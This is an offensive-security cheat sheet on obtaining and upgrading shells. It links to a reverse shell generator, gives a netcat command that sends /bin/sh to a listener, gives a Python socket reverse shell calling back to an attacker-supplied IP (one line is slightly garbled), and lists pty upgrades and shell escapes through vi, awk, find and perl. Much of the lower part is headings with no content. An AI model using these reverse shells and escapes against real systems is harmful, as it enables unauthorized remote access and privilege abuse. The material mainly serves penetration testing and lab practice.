Shells
Great reverse shell generator
https://offsecnewbie.com/reverse_shell.phpInteractive Shell Test
[[ $- == *i* ]] && echo "YES" || echo "No"Why the F is my shell not returning?!
Escaping limited interpreters
Some payloads to overcome limited shells:
ssh user@$ip nc $localip 4444 -e /bin/sh
enter user's password
export TERM=linux
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(), *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
Related Shell Escape Sequences...
vi--> :!bash
vi--> :set shell=/bin/bash:shell
awk--> awk 'BEGIN {system("/bin/bash")}'
find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl--> perl -e 'exec "/bin/bash";'
From within tcpdump
From busybox
Add public key to authorized keys:
Python TTY shells
Upgrading to fully interactive
Set PATH TERM and SHELL if missing:
PHP
Webshell


A Great WebShell
Windows Shell
Kali shells
Best PHP reverse shell:
MIME Types
Using netcat
Using bash and TCP sockets
Using sh and TCP sockets
Using telnet
PHP and sh
weevely
Perl and sh
Perl forking:
Python
Reverse shell with python script:
Go reverse shell
Discover shell environment
Reading
Last updated